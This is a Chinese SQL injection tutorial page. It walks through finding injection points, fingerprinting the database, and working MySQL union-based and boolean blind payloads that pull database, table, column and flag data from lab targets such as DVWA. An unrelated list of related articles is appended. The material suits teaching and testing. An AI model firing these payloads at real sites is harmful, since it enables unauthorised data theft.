Web安全:SQL注入

一、SQL注入三要素

1、用户可以对输入的参数值进行修改。

2、后端不对用户输入的参数值进行严格过滤。

3、用户修改后的参数值可以被带入后端中成功执行,并返回一定结果。

二、SQL注入原理

        简单来说,用户输入的值会被插入到SQL语句中,然后发送到数据库执行,当用户输入的内容经过引号或者双引号等东西的闭合,造成用户输入的内容被解析成SQL指令去执行。

  例如:用户输入的参数会被插入到$id上。

"SELECT * FROM users WHERE id=$id LIMIT 0,1"

  而用户可以通过输入参数将SQL语句修改成一下语句,进而在数据库运行获得想要的数据。

"SELECT * FROM users WHERE id=-1 union select 1,database(),version() LIMIT 0,1"

        SQL 注入攻击:通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是SQL 语法里的一些组合,通过执行SQL 语句进而执行攻击者所要的操作。

        SQL 注入主要原因:程序没有细致地过滤用户输入的数据,致使非法数据入侵系统,出现开发人员预期外的事件。

三、SQL分类

四、SQL注入流程

1.判断SQL注入点

表单提交:POST 请求、GET 请求

URL 参数提交:GET 请求参数

HTTP 请求头部:Referer(IP地址源)、User_Agent(用户代理UA注入)、X-Forwared-ForCookie(XFF注入)

2、判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断

端口扫描

如果可以使用Nmap对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432

根据注释符判断

        “#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格

        “null”“%00”是Access支持的注释。“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

        “;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

根据其返回的错误类型

ORACLE
        ORA-01756:quoted string not properly terminated
        ORA-00933:SQLcommand not properly ended


MS-SQL
        Msg 170,level 15, State 1,Line 1
        Line 1:Incorrect syntax near ‘foo
        Msg 105,level 15,state 1,Line 1
        Unclose quotation mark before the character string ‘foo

MYSQL

 SQL Server

基于数据库特性 

某些函数为数据库所特有,可以判断通过执行特殊的函数来判断数据库类型。

3.判断参数类型

判断闭合方式

        使用双引号”、单引号‘、括号)等,判断参数的闭合方式,如果是双引号,则在参数键入一个双引号会报错。如果是单引号或者括号,则对应键入单引号或括号会报错。

数值型

        数值型不带任何符号,键入任何符号都会报错。

select * from user where username = 1;
字符型

        字符型带符号,需要键入相对应的符号,进行闭合方式的判断。

select * from user where username = "zhangsan";

闭合:可以使得原语句参数位置结束,方便我们插入新恶意语句,使得恶意语句被当作SQL语句来命令执行。

4.利用注入方式

MYSQL的系统表

information_schema

select * from information_schema.COLUMNS
//查询系统表结构
表名注释

schemata

提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表

tables

提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema、表类型、表引擎、创建时间等信息。show tables from schemaname的结果取之此表

columns

提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表

MYSQL的注释方式

        --%20(url编码%20相当于空格,相当于--+)、#(在url里不可用)

联合注入

        通过修改闭合参数,添加修改查询SQL语句,以此获得目标信息。

1.联合查询语句构造步骤:

        a.确定查询的列数:通过构造不同的注入语句并观察返回结果的变化,逐渐增加联合查询语句中的列数,直到不再返回错误或异常。

        通过Order获取确定的列数,一直尝试直到不报错。

?id=2' order by 3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        b.确定可用的列:通过构造注入语句并使用 UNION SELECT 语句,逐个测试每个列,以确定哪些列返回了有效的数据。

        通过Select获取有回显的有效列

?id=-2' union select 1,2,3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

可以发现具有回显的有效列为2和3。 

        c.获取表数据:使用注入语句和SELECT 语句来获取表中的数据。

2.联合查询语句

        确定了具体的列数和有效回显列后,就可编写具体的联合查询语句获得相关的数据。

        获取数据库名和版本信息;

?id=-1' union select 1,database(),version() --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        获取表名信息,其中group_concat(table_name)是一个MySQL函数,用于将查询结果中的多个行合并成一个字符串,并以逗号分隔;

?id=1' union select 1,group_concat(table_name)  from information_schema.tables where TABLE_SCHEMA=database()#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。

         获取表内的列名信息

1' union select 1,group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users' and TABLE_SCHEMA='dvwa'#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。

布尔盲注 

        布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。

1.盲注思路

盲注需要考虑多种情况,一般思路如下:

  • 爆库名长度
  • 根据库名长度爆库名
  • 对当前库爆表数量
  • 根据库名和表数量爆表名长度
  • 根据表名长度爆表名
  • 对表爆列数量
  • 根据表名和列数量爆列名长度
  • 根据列名长度爆列名
  • 根据列名爆数据值

2.盲注原理

  正确的情况和错误的情况返回的页面不一样

?id=3' and 1=1 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

上面是结果为真页面

?id=3' and 1=2 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

上面是结果为假页面 

        通过穷举,验证真假,可以猜出数据库的信息。

3.盲注常用函数

  substr(str,from,length):返回从下标为from截取长度为length的str子串。首字符下标为1。

  length(str):返回str串长度

4.盲注步骤

        爆数据库名长度

        首先,通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功

?id=1' and length(database())>1 --+
?id=1' and length(database())>2 --+
?id=1' and length(database())>3 --+
....
//单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

         这里推荐用二分查找法找出具体的长度信息

        根据库名长度爆库名

        获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符。注意substr(database,i,1),i从1开始(第i个字符)

?id=1' and substr(database(),1,1)='a' --+//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        这部分可以写脚本进行自动化测试。  

        对当前库爆表数量

        下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环。

?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())=1 --+//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        根据库名和表数量爆表名长度

        得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度。

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1 表示从第0条记录开始,取出1条结果。MYSQL中索引从0开始,所以取出的是第0条记录。
//要有两个括号

        根据表名长度爆表名

        再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名。

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1:其中0可修改,用于遍历所有表,从0开始,到表数量-1。
//substr(str,from,length):from可以从1遍历到表长度,length固定为1。
//再遍历等于a到z

        对表爆列数量

        操作同对当前库爆表数量的步骤,只是要查询的表为information_schema.columns。

?id=1' and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='flag')=1 --+
//flag要改为上一步获得的表名
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

        根据表名和列数量爆列名长度

        操作同对当前库爆表名长度的步骤,遍历0~列数-1

?id=1' and length((select COLUMN_NAME from information_schema.columns where table_schema='dvwa' and table_name='users' limit i,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

         根据列名长度爆列名

         操作同对当前库爆表名的步骤

?id=1' and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit i,1),j,1)='a' --+
//i遍历列0~列数-1
//j遍历列各个字符1~列长度

        根据列名爆数据

        flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束。

?id=1' and substr((select flag from sqli.flag limit i,1),j,1)='}' --+
//遍历flag列的每一行查看是否符合flag的格式,符合即可得出答案。
//i从0~行数-1
//j从1到字符串长度
时间盲注

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/375000.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ARM】CCI缓存一致性整理

目录 1.CCI500提供的功能 2.CCI500在SOC系统中所处的位置​编辑 3.CCI500内部结构​编辑 4.功能描述 1.CCI500提供的功能 2.CCI500在SOC系统中所处的位置 3.CCI500内部结构 Transaction Tracker(TT)是用来解决一致性和ordering问题的,它…

MES系统在装备制造行业核心应用场景介绍

MES软件在企业中有着广泛的应用场景,主要包括生产计划排程、生产过程监控、质量管理、设备管理、库存管理、数据分析等领域。 通过实时监控生产过程、收集数据、进行分析,MES软件可以帮助企业实现生产过程可视化、透明化,提高生产效率&#…

Java | Leetcode Java题解之第229题多数元素II

题目&#xff1a; 题解&#xff1a; class Solution {public List<Integer> majorityElement(int[] nums) {HashMap<Integer, Integer> cnt new HashMap<Integer, Integer>();for (int i 0; i < nums.length; i) {if (cnt.containsKey(nums[i])) {cnt.…

【Tomcat目录详解】关于Tomcat你还需要了解的详细内容

希望文章能给到你启发和灵感&#xff5e; 如果觉得文章对你有帮助的话&#xff0c;点赞 关注 收藏 支持一下博主吧&#xff5e; 阅读指南 开篇说明一、基础环境说明1.1 硬件环境1.2 软件环境 二、Tomcat的文件结构2.1 bin目录2.1.1 startup和shutdown2.1.2 Catalina2.1.3 serv…

Java高级重点知识点-25-Stream流、方法引用

文章目录 Stream流流式思想概述获取流常用方法 方法引用方法引用符通过对象名引用成员方法通过类名称引用静态方法通过super引用成员方法通过this引用成员方法类的构造器引用数组的构造器引用 Stream流 通过循环遍历来讲解流的优势&#xff1b; 要求&#xff1a;筛选所有姓张的…

记一次若依框架和Springboot常见报错的实战漏洞挖掘

目录 前言 本次测实战利用图​ 1.判段系统框架 2.登录页面功能点测试 2.1 弱口令 2.2 webpack泄露信息判断 2.3 未授权接口信息发现 3.进一步测试发现新的若依测试点 3.1 默认弱口令 3.2 历史漏洞 4.访问8080端口发现spring经典爆粗 4.1 druid弱口令 4.2 SwaggerU…

HumanoidBench——模拟仿人机器人算法有未来

概述 论文地址&#xff1a;https://arxiv.org/pdf/2403.10506 仿人机器人具有类似人类的外形&#xff0c;有望在各种环境和任务中为人类提供支持。然而&#xff0c;昂贵且易碎的硬件是这项研究面临的挑战。因此&#xff0c;本研究开发了使用先进模拟技术的 HumanoidBench。该基…

【鸿蒙学习笔记】关系型数据库概述

目录标题 关系型数据库的运行机制样例代码共通方法 DBUtilsIndex 代码效果 关系型数据库的运行机制 1、 关系型数据库对应用提供通用的操作接口&#xff0c;底层使用SQLite作为持久化存储引擎&#xff0c;支持SQLite具有的数据库特性&#xff0c;包括但不限于事务、索引、视图…

代理IP池:解析与应用

代理IP大家都了解不少了&#xff0c;代理IP池又是什么呢&#xff1f;下面简单介绍一下吧&#xff01; 1. 概述 代理IP池就是由多个代理IP地址组成的集合&#xff0c;用于实现更高效的网络访问和数据获取。这些IP地址通常来自不同的地理位置和网络提供商&#xff0c;经过动态管…

谷粒商城实战笔记-24-分布式组件-SpringCloud Alibaba-Nacos配置中心-命名空间与配置分组

文章目录 一&#xff0c;命名空间1&#xff0c;简介1.1&#xff0c;命名空间的主要功能和特点1.2&#xff0c;使用场景1.3&#xff0c;如何指定命名空间 2&#xff0c;命名空间实战2.1&#xff0c;环境隔离2.2&#xff0c;服务隔离 二&#xff0c;配置集三&#xff0c;配置集ID…

LabVIEW的Actor Framework (AF) 结构介绍

LabVIEW的Actor Framework (AF) 是一种高级架构&#xff0c;用于开发并发、可扩展和模块化的应用程序。通过面向对象编程&#xff08;OOP&#xff09;和消息传递机制&#xff0c;AF结构实现了高效的任务管理和数据处理。其主要特点包括并发执行、动态可扩展性和强大的错误处理能…

Day1每日编程题日记:数字统计、两个数组的交集、点击消除

前言&#xff1a;该篇用于记录自看。曾回看昨天的做题代码&#xff0c;竟然会觉得陌生&#xff0c;这竟然是我写的&#xff0c;细细读了一下&#xff0c;原来我当时是这么想的。因此我觉得记代码没有实际用处&#xff0c;重点是领悟了思想&#xff0c;这样子代码就在心中&#…

发布:PhonePrompter_PC(手机录视频提词器_电脑版)

PhonePrompter_PC(手机录视频提词器_电脑版) 目 录 1. 概述... 2 2. 应用手册... 3 下载地址&#xff1a;百度网盘 请输入提取码 提取码&#xff1a;8wsa 1. 概述 平时工作和生活中需要用手机竖屏或横屏模式录制造工作、科技、历史、生活等方面的一些视…

web后端开发--请求响应

目录 前言 请求 简单参数 原始方法 Spring方式 Post请求乱码处理 实体参数 简单实体参数 复杂实体参数 ​编辑 数组集合参数 数组参数 ​编辑 集合参数 日期参数 ​编辑 Json参数 ​编辑 传递json数据 json数组 json对象&#xff08;POJO&#xff09; jso…

【Flask从入门到精通:第一课:flask的基本介绍、flask快速搭建项目并运行】

从0开始入手到上手一个新的框架&#xff0c;应该怎么展开&#xff1f;flask这种轻量级的框架与django这种的重量级框架的区别&#xff1f;针对web开发过程中&#xff0c;常见的数据库ORM的操作。跟着学习flask的过程中&#xff0c;自己去学习和了解一个新的框架&#xff08;San…

CSS【详解】长度单位 ( px,%,em,rem,vw,vh,vmin,vmax,ex,ch )

px 像素 pixel 的缩写&#xff0c;即电子屏幕上的1个点&#xff0c;以分辨率为 1024 * 768 的屏幕为例&#xff0c;即水平方向上有 1024 个点&#xff0c;垂直方向上有 768 个点&#xff0c;则 width:1024px 即表示元素的宽度撑满整个屏幕。 随屏幕分辨率不同&#xff0c;1px …

小程序问题

1.获取节点 wx.createSelectorQuery() wx.createSelectorQuery().in(this) //组件中加in(this)&#xff0c;不然获取不到 2.使用实例 wx.createSelectorQuery().in(this).select(#share).fields({node: true,size: true}).exec(async (res) > {const canvas res[0].node;…

如何将Docker镜像源更改为阿里云的镜像加速地址

在使用Docker时&#xff0c;尤其是在国内环境下&#xff0c;由于网络原因&#xff0c;从Docker Hub拉取镜像可能会遇到速度较慢的问题。为了提高拉取速度&#xff0c;我们可以将Docker的镜像源更改为阿里云等国内镜像源。下面详细介绍如何获取并配置阿里云的Docker镜像加速地址…

C++三大特征:多态

1.virtual关键字 1.1何为虚函数 virtual用于在base类中声明一个虚函数&#xff0c;[虚函数]的主要作用是[允许]在派生类&#xff08;也称为子类)中对该函数进行[重写](override) 1.2何为重写 重写就是在drived类中写一个函数(返回类型,名称,参数列表)与base类相同的函数,dr…

C++基础(二)

目录 1.类和对象 1.1类的定义 1.2访问限定符 1.3类域 2.实例化 2.1实例化概念 2.2对象大小 3.this指针 4.类的默认成员函数 4.1构造函数 4.2析构函数 4.5运算符重载 1.类和对象 1.1类的定义 类的定义格式 class为定义类的关键字&#xff0c;Stack为类的名字&…